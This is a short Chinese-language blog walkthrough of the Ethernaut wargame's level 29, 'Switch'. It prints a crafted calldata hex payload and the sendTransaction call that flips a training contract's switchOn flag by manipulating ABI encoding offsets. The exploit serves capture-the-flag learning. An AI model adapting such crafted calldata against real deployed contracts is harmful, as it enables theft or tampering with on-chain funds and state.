# 智能合约黑客攻击 Ethernaut:  
 29. Switch

**Published by:** [Leek DEV](https://paragraph.com/@leekdev/)
**Published on:** 2023-09-28
**URL:** https://paragraph.com/@leekdev/ethernaut-29-switch

## Content

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约中的 switchOn 改为 trueHack思路这道题 难度比较高，需要构建非常特殊的 CALLDATA 。const attack = '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000' await sendTransaction({from: player, to: contract.address, data: attack}) await contract.switchOn(); Hack案例…防范思路…参考资料….

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